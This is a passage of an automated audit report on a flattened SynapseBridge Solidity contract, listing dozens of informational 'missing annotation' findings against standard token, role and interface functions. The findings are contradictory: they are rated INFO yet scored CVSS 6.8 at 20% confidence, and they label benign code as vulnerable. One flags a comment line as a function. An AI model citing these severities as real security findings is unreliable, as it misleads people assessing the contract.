Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-203. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:753
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

748 | }
749 |
750 | // bridge/interfaces/IWETH9.sol
751 |
752 | interface IWETH9 {
>> 753 |     function name() external view returns (string memory);
754 |
755 |     function symbol() external view returns (string memory);
756 |
757 |     function decimals() external view returns (uint8);
758 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-204. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:755
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

750 | // bridge/interfaces/IWETH9.sol
751 |
752 | interface IWETH9 {
753 |     function name() external view returns (string memory);
754 |
>> 755 |     function symbol() external view returns (string memory);

```

```

756 |
757 |     function decimals() external view returns (uint8);
758 |
759 |     function balanceOf(address) external view returns (uint256);
760 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-205. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:757
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

752 | interface IWETH9 {
753 |     function name() external view returns (string memory);
754 |
755 |     function symbol() external view returns (string memory);
756 |
>> 757 |     function decimals() external view returns (uint8);
758 |
759 |     function balanceOf(address) external view returns (uint256);
760 |
761 |     function allowance(address, address) external view returns (uint256);
762 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-206. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:759</code>
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

754 |
755 |     function symbol() external view returns (string memory);
756 |
757 |     function decimals() external view returns (uint8);
758 |
>> 759 |     function balanceOf(address) external view returns (uint256);
760 |
761 |     function allowance(address, address) external view returns (uint256);
762 |
763 |     receive() external payable;
764 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-207. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:761
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

756 |
757 |     function decimals() external view returns (uint8);
758 |
759 |     function balanceOf(address) external view returns (uint256);
760 |
>> 761 |     function allowance(address, address) external view returns (uint256);
762 |
763 |     receive() external payable;
764 |
765 |     function deposit() external payable;
766 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-208. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:765
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

760 |
761 |     function allowance(address, address) external view returns (uint256);
762 |
763 |     receive() external payable;
764 |
>> 765 |     function deposit() external payable;
766 |
767 |     function withdraw(uint256 wad) external;
768 |
769 |     function totalSupply() external view returns (uint256);
770 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-209. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO

PROPERTY	VALUE
Category	
CVSS Score	6.8
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:767</code>
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

762 |
763 |     receive() external payable;
764 |
765 |     function deposit() external payable;
766 |
>> 767 |     function withdraw(uint256 wad) external;
768 |
769 |     function totalSupply() external view returns (uint256);
770 |
771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-210. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8

PROPERTY	VALUE
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:769</code>
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

764 |
765 |     function deposit() external payable;
766 |
767 |     function withdraw(uint256 wad) external;
768 |
>> 769 |     function totalSupply() external view returns (uint256);
770 |
771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |
773 |     function transfer(address dst, uint256 wad) external returns (bool);
774 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-211. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:771</code>

PROPERTY	VALUE
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

766 |
767 |     function withdraw(uint256 wad) external;
768 |
769 |     function totalSupply() external view returns (uint256);
770 |
>> 771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |
773 |     function transfer(address dst, uint256 wad) external returns (bool);
774 |
775 |     function transferFrom(
776 |         address src,
```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-212. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:773</code>
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

768 |
769 |     function totalSupply() external view returns (uint256);
770 |
771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |
>> 773 |     function transfer(address dst, uint256 wad) external returns (bool);
774 |
775 |     function transferFrom(
776 |         address src,
777 |         address dst,
778 |         uint256 wad

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-213. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1201
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1196 |     }
1197 |
1198 |     /**
1199 |      * @dev Returns the name of the token.
1200 |      */
>> 1201 |     function name() public view virtual returns (string memory) {
1202 |         return _name;
1203 |     }
1204 |
1205 |     /**
1206 |      * @dev Returns the symbol of the token, usually a shorter version of the

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-214. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1209
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1204 |
1205 |     /**
1206 |      * @dev Returns the symbol of the token, usually a shorter version of the
1207 |      * name.
1208 |      */
>> 1209 |     function symbol() public view virtual returns (string memory) {

```

```

1210 |         return _symbol;
1211 |     }
1212 |
1213 |     /**
1214 |      * @dev Returns the number of decimals used to get its user
representation.

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-215. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1226
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1221 |     *
1222 |     * NOTE: This information is only used for _display_ purposes: it in
1223 |     * no way affects any of the arithmetic of the contract, including
1224 |     * {IERC20-balanceOf} and {IERC20-transfer}.
1225 |     */
>> 1226 |     function decimals() public view virtual returns (uint8) {
1227 |         return _decimals;
1228 |     }
1229 |
1230 |     /**
1231 |      * @dev See {IERC20-totalSupply}.

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-216. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1233
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1228 |     }
1229 |
1230 |     /**
1231 |      * @dev See {IERC20-totalSupply}.
1232 |      */
>> 1233 |     function totalSupply() public view virtual override returns (uint256) {
1234 |         return _totalSupply;
1235 |     }
1236 |
1237 |     /**
1238 |      * @dev See {IERC20-balanceOf}.

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-217. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1240
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1235 |     }
1236 |
1237 |     /**
1238 |      * @dev See {IERC20-balanceOf}.
1239 |      */
>> 1240 |     function balanceOf(address account) public view virtual override returns
(uint256) {
1241 |         return _balances[account];
1242 |     }
1243 |
1244 |     /**
1245 |      * @dev See {IERC20-transfer}.

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-218. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1252
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1247 |      * Requirements:
1248 |      *
1249 |      * - `recipient` cannot be the zero address.
1250 |      * - the caller must have a balance of at least `amount`.
1251 |      */
>> 1252 |      function transfer(address recipient, uint256 amount) public virtual
override returns (bool) {
1253 |          _transfer(_msgSender(), recipient, amount);
1254 |          return true;
1255 |      }
1256 |
1257 |      /**

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-219. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO

PROPERTY	VALUE
Category	
CVSS Score	6.8
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:1260</code>
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1255 |     }
1256 |
1257 |     /**
1258 |      * @dev See {IERC20-allowance}.
1259 |      */
>> 1260 |     function allowance(address owner, address spender) public view virtual
override returns (uint256) {
1261 |         return _allowances[owner][spender];
1262 |     }
1263 |
1264 |     /**
1265 |      * @dev See {IERC20-approve}.

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-220. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8

PROPERTY	VALUE
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:1271</code>
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1266 |      *
1267 |      * Requirements:
1268 |      *
1269 |      * - `spender` cannot be the zero address.
1270 |      */
>> 1271 |      function approve(address spender, uint256 amount) public virtual override
returns (bool) {
1272 |          _approve(_msgSender(), spender, amount);
1273 |          return true;
1274 |      }
1275 |
1276 |      /**

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-221. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:1289</code>

PROPERTY	VALUE
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1284 |      * - `sender` and `recipient` cannot be the zero address.
1285 |      * - `sender` must have a balance of at least `amount`.
1286 |      * - the caller must have allowance for ``sender``'s tokens of at least
1287 |      * `amount`.
1288 |      */
>> 1289 |      function transferFrom(address sender, address recipient, uint256 amount)
public virtual override returns (bool) {
1290 |          _transfer(sender, recipient, amount);
1291 |          _approve(sender, _msgSender(), _allowances[sender]
[_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
1292 |          return true;
1293 |      }
1294 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-222. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1307
Status	Open (20% conf.)

PROPERTY	VALUE
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1302 |      *
1303 |      * Requirements:
1304 |      *
1305 |      * - `spender` cannot be the zero address.
1306 |      */
>> 1307 |      function increaseAllowance(address spender, uint256 addedValue) public
virtual returns (bool) {
1308 |          _approve(_msgSender(), spender, _allowances[_msgSender()]
[spender].add(addedValue));
1309 |          return true;
1310 |      }
1311 |
1312 |      /**

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-223. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1326
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1321 |      *
1322 |      * - `spender` cannot be the zero address.
1323 |      * - `spender` must have allowance for the caller of at least
1324 |      * `subtractedValue`.
1325 |      */
>> 1326 |      function decreaseAllowance(address spender, uint256 subtractedValue)
public virtual returns (bool) {
1327 |          _approve(_msgSender(), spender, _allowances[_msgSender()]
[spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
1328 |          return true;
1329 |      }
1330 |
1331 |      /**

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-224. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1484
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1479 |     }
1480 |
1481 |     /**
1482 |      * @dev Returns true if the contract is paused, and false otherwise.
1483 |      */
>> 1484 |     function paused() public view virtual returns (bool) {
1485 |         return _paused;
1486 |     }
1487 |
1488 |     /**
1489 |      * @dev Modifier to make a function callable only when the contract is not
        paused.

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-225. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1626
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1621 |     *
1622 |     * Roles can be used to represent a set of permissions. To restrict access to
a    *
1623 |     * function call, use {hasRole}:
1624 |     *

```



```

1625 | * ``
>> 1626 | * function foo() public {
1627 | *     require(hasRole(MY_ROLE, msg.sender));
1628 | *     ...
1629 | * }
1630 | * ``
1631 | *

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-226. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1695
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1690 |     event RoleRevoked(bytes32 indexed role, address indexed account, address
indexed sender);
1691 |
1692 |     /**
1693 |     * @dev Returns `true` if `account` has been granted `role`.
1694 |     */
>> 1695 |     function hasRole(bytes32 role, address account) public view returns (bool)
{
1696 |         return _roles[role].members.contains(account);
1697 |     }
1698 |

```

```

1699 |    /**
1700 |     * @dev Returns the number of accounts that have `role`. Can be used

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-227. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1703
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1698 |
1699 |    /**
1700 |     * @dev Returns the number of accounts that have `role`. Can be used
1701 |     * together with {getRoleMember} to enumerate all bearers of a role.
1702 |     */
>> 1703 |    function getRoleMemberCount(bytes32 role) public view returns (uint256) {
1704 |        return _roles[role].members.length();
1705 |    }
1706 |
1707 |    /**
1708 |     * @dev Returns one of the accounts that have `role`. `index` must be a

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-228. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1719
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1714 |      * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
1715 |      * you perform all queries on the same block. See the following
1716 |      * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
1717 |      * for more information.
1718 |      */
>> 1719 |      function getRoleMember(bytes32 role, uint256 index) public view returns
(address) {
1720 |          return _roles[role].members.at(index);
1721 |      }
1722 |
1723 |      /**
1724 |      * @dev Returns the admin role that controls `role`. See {grantRole} and

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-229. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1729
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1724 |      * @dev Returns the admin role that controls `role`. See {grantRole} and
1725 |      * {revokeRole}.
1726 |      *
1727 |      * To change a role's admin, use {_setRoleAdmin}.
1728 |      */
>> 1729 |      function getRoleAdmin(bytes32 role) public view returns (bytes32) {
1730 |          return _roles[role].adminRole;
1731 |      }
1732 |
1733 |      /**
1734 |      * @dev Grants `role` to `account`.

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-230. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1743
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1738 |      *
1739 |      * Requirements:
1740 |      *
1741 |      * - the caller must have ``role``'s admin role.
1742 |      */
>> 1743 |      function grantRole(bytes32 role, address account) public virtual {
1744 |          require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl:
sender must be an admin to grant");
1745 |
1746 |          _grantRole(role, account);
1747 |      }
1748 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-231. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO

PROPERTY	VALUE
Category	
CVSS Score	6.8
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:1758</code>
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1753 |      *
1754 |      * Requirements:
1755 |      *
1756 |      * - the caller must have ``role``'s admin role.
1757 |      */
>> 1758 |      function revokeRole(bytes32 role, address account) public virtual {
1759 |          require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl:
sender must be an admin to revoke");
1760 |
1761 |          _revokeRole(role, account);
1762 |      }
1763 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-232. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8

PROPERTY	VALUE
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:1778</code>
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1773 |      *
1774 |      * Requirements:
1775 |      *
1776 |      * - the caller must be `account`.
1777 |      */
>> 1778 |      function renounceRole(bytes32 role, address account) public virtual {
1779 |          require(account == _msgSender(), "AccessControl: can only renounce
roles for self");
1780 |
1781 |          _revokeRole(role, account);
1782 |      }
1783 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-233. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:1843</code>

PROPERTY	VALUE
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1838 | /**
1839 |  * @dev Destroys `amount` tokens from the caller.
1840 |  *
1841 |  * See {ERC20-_burn}.
1842 |  */
>> 1843 | function burn(uint256 amount) public virtual {
1844 |     _burn(msgSender(), amount);
1845 | }
1846 |
1847 | /**
1848 |  * @dev Destroys `amount` tokens from `account`, deducting from the
caller's

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-234. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1858
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1853 |      * Requirements:
1854 |      *
1855 |      * - the caller must have allowance for ``accounts``'s tokens of at least
1856 |      * `amount`.
1857 |      */
>> 1858 |      function burnFrom(address account, uint256 amount) public virtual {
1859 |          uint256 decreasedAllowance = allowance(account,
_msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
1860 |
1861 |          _approve(account, _msgSender(), decreasedAllowance);
1862 |          _burn(account, amount);
1863 |      }

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-235. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1870
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1865 |
1866 | // bridge/interfaces/ISwap.sol
1867 |
1868 | interface ISwap {
1869 |     // pool data view functions
>> 1870 |     function getA() external view returns (uint256);
1871 |
1872 |     function getAPrecise() external view returns (uint256);
1873 |
1874 |     function getToken(uint8 index) external view returns (IERC20);
1875 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-236. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1872
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1867 |
1868 | interface ISwap {
1869 |     // pool data view functions
1870 |     function getA() external view returns (uint256);
1871 |
>> 1872 |     function getAPrecise() external view returns (uint256);

```

```

1873 |
1874 |     function getToken(uint8 index) external view returns (IERC20);
1875 |
1876 |     function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-237. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1874
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1869 | // pool data view functions
1870 | function getA() external view returns (uint256);
1871 |
1872 | function getAPrecise() external view returns (uint256);
1873 |
>> 1874 | function getToken(uint8 index) external view returns (IERC20);
1875 |
1876 | function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |
1878 | function getTokenBalance(uint8 index) external view returns (uint256);
1879 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-238. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1876
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1871 |
1872 |     function getAPrecise() external view returns (uint256);
1873 |
1874 |     function getToken(uint8 index) external view returns (IERC20);
1875 |
>> 1876 |     function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |
1878 |     function getTokenBalance(uint8 index) external view returns (uint256);
1879 |
1880 |     function getVirtualPrice() external view returns (uint256);
1881 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-239. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1878
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1873 |
1874 |     function getToken(uint8 index) external view returns (IERC20);
1875 |
1876 |     function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |
>> 1878 |     function getTokenBalance(uint8 index) external view returns (uint256);
1879 |
1880 |     function getVirtualPrice() external view returns (uint256);
1881 |
1882 |     function swapStorage()
1883 |         external

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-240. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1880
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1875 |
1876 |     function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |
1878 |     function getTokenBalance(uint8 index) external view returns (uint256);
1879 |
>> 1880 |     function getVirtualPrice() external view returns (uint256);
1881 |
1882 |     function swapStorage()
1883 |         external
1884 |         view
1885 |         returns (

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-241. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1902
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1897 |         uint8 tokenIndexFrom,
1898 |         uint8 tokenIndexTo,
1899 |         uint256 dx
1900 |     ) external view returns (uint256);
1901 |
>> 1902 |     function calculateTokenAmount(uint256[] calldata amounts, bool deposit)
external view returns (uint256);
1903 |
1904 |     function calculateRemoveLiquidity(uint256 amount) external view returns
(uint256[] memory);
1905 |
1906 |     function calculateRemoveLiquidityOneToken(uint256 tokenAmount, uint8
tokenIndex)
1907 |     external

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-242. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
